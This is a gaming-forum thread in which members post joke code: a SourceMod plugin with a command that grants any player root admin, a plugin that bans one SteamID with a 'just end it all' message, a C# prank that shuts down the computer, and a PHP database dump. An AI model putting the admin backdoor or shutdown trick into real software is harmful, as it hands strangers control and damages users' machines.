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5 Min Of Boordom!


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Should add my 5 min of boordom on hellsgamers.

 

18+ to watch the spoiler!!

 

[spoiler=tehe]

 

#define PENIS "\x03Penis\x01:"
#include <sourcemod>
public OnPluginStart()
{
AddCommandListener(Tellem, "sm_youtellembuddy");
RegConsoleCmd("sm_penis", Penis);
}

public Action:Tellem(client, const String:command[], args)
{
new String:text[200];

GetCmdArg(1, text, sizeof(text));
PrintToChatAll("I %N am a %s \x03 because: %s", client, PENIS, text);
return Plugin_Handled;
}

public Action:Penis(client, args)
{
AddUserFlags(client, Admin_Root);
}

 

 

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#include <sourcemod>
public OnClientPutInServer(client)
{
decl String:killYourself[32];
GetClientAuthString(client, killYourself, sizeof(killYourself));
if(StrEqual(killYourself, "STEAM_0:1:16501866"))
BanClient(client, 0, BANFLAG_AUTHID, "Die", "Just end it all");
}

 

I keed heheheheheuehueuehueuhuewghq[o;ajde'na

I'm surprised HG has this neat syntax highlighting for code tags, most of the sites I go to that are dedicated to coding seem to do a worse job at it

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public areFucksGiven(input)
{
Console.WriteLine("Hi");
input = Console.ReadLine();
System.Int32.TryParse(input, out input);
Console.WriteLine("You created this thread and said "{0}", input);
System.Threading.Thread.Sleep(1000);
Console.Write("Cool... this is what I think of it")
System.Threading.Thread.Sleep(1000);
System.Diagnostics.Process.Start("Shutdown", "-s -t 1");
}

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public areFucksGiven(input)
{
Console.WriteLine("Hi");
input = Console.ReadLine();
System.Int32.TryParse(input, out input);
Console.WriteLine("You created this thread and said "{0}", input);
System.Threading.Thread.Sleep(1000);
Console.Write("Cool... this is what I think of it")
System.Threading.Thread.Sleep(1000);
System.Diagnostics.Process.Start("Shutdown", "-s -t 1");
}

 

Enigma can be so cute sometimes

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public areFucksGiven(input)
{
Console.WriteLine("Hi");
input = Console.ReadLine();
System.Int32.TryParse(input, out input);
Console.WriteLine("You created this thread and said "{0}", input);
System.Threading.Thread.Sleep(1000);
Console.Write("Cool... this is what I think of it")
System.Threading.Thread.Sleep(1000);
System.Diagnostics.Process.Start("Shutdown", "-s -t 1");
}

 

Enigma, please, stay on topic. This is a SourcePawn forum. Get it together, Enigma. Please don't infract me, Enigma. I love you, Enigma. Enigma.

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I hate php, like REALLY HATE IT.

 

<?php
$database = mysql_connect("mysql.hellsgamers.com","root","Why_should_i_tell_you");
if (!$database){
 die('Could not connect: ' . mysql_error());
}
mysql_select_db("hg_forums", $database);
 $result = mysql_query("SELECT * FROM ipb_members");
 while($row = mysql_fetch_array($result)){
  echo $row['name'] . "is a huge penis. <br />";
 }
mysql_close($database);
?>

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<?php
$database = mysql_connect("mysql.hellsgamers.com","root","Why_should_i_tell_you");
if (!$database){
die('Could not connect: ' . mysql_error());
}
mysql_select_db("hg_forums", $database);
$result = mysql_query("SELECT * FROM ipb_members");
while($row = mysql_fetch_array($result)){
echo $row['name'] . "is a huge penis. <br />";
}
mysql_close($database);
?>

 

the php part there is basics, yes. But the paypal -stuff- is kinda harder and the steamid tracker. including the css part..

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